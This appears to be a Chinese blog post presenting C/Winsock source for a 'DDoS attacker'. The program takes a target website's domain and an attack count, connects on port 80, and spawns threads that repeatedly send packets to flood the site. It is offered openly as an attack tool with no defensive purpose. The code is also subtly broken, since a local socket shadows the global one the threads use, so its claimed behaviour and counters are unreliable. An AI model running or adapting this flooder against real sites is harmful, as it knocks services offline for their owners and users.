C语言实战--DDOS攻击器

VS2013运行通过
版权由本人编写，商业用途禁止魔改

#include <stdio.h> #include <WinSock2.h>      //网络编程 #include <iostream> #pragma comment(lib , "ws2_32.lib")     //DDOS攻击  DWORD WINAPI WorkProc(LPVOID lpParam);  SOCKET sockClient;  int main() { 
         //1.输入肉鸡官网链接   char url[200];   ///存储肉鸡官网链接  printf("请输入肉鸡官网链接：\n");  scanf("%s", url);   //2.设置攻击次数  int n;  printf("请输入攻击次数：\n");  scanf("%d", &n);   //3.初始化网络  WSADATA wd;  if (0 != WSAStartup(MAKEWORD(2, 2), &wd))  { 
          printf("初始化网络失败.\n");   return 0;  }   //4.判断是否加载了我要求的版本  if (LOBYTE(wd.wVersion) != 2 || HIBYTE(wd.wVersion) !=2 )
	{ 
       
		printf("请求的版本与实际加载的版本不一致.\n");
		return 0;
	}

	//5.创建套接字
	SOCKET sockClient = socket(AF_INET, SOCK_STREAM, 0);
	if (sockClient == INVALID_SOCKET)
	{ 
       
		printf("创建套接字失败.\n");
		return 0;
	}


	//6.将域名解析成IP地址
	hostent* host = gethostbyname(url);
	if (host == NULL)
	{ 
       
		printf("域名解析失败.\n");
		return 0;
	}

	//7.连接服务器
	sockaddr_in sa;
	sa.sin_family = AF_INET;
	sa.sin_port = htons(80);
	memcpy(&sa.sin_addr, host->h_addr, 4);

	if (SOCKET_ERROR == connect(sockClient, (sockaddr*)&sa, sizeof(sockaddr)))
	{ 
       
		printf("连接网站失败.\n");
	}

	//8.测试，通讯
	//HTTP协议
	//char sendBuf[250] = {0};
	//sprintf(sendBuf, "Hello\r\n\r\n");
	//char recvBuf[512] = {0};
	//发送
	//send(sockClient, sendBuf, strlen(sendBuf), 0);
	//接受
	//char ch='\0';
	//std::string str;
	//while (recv(sockClient, &ch, sizeof(ch), 0))
	//{ 
       
	// str = str + ch;
	//}

	//9.DDOS攻击
	char sendBuf[250] = "Hello\r\n\r\n";//发包内容自行更改，\r\n不能删代表发送完毕否则会一直等待
	int i = 0;
	while (i < n)
	{ 
       
		CreateThread(NULL, 0, WorkProc, 0, 0, NULL);
		i++;
	}

	//HTTP协议
	
	
	system("pause");
	
	//printf("%s\n", str.c_str());

	return 0;
}

DWORD WINAPI WorkProc(LPVOID lpParam)
{ 
       
	int i = 0;
	while (i < 5000)
	{ 
       
		printf("攻击了：%d次\n", i);
		char sendBuf[250] = "Hello";
		send(sockClient, sendBuf, strlen(sendBuf), 0);
		i++;
	}

	return 0;
}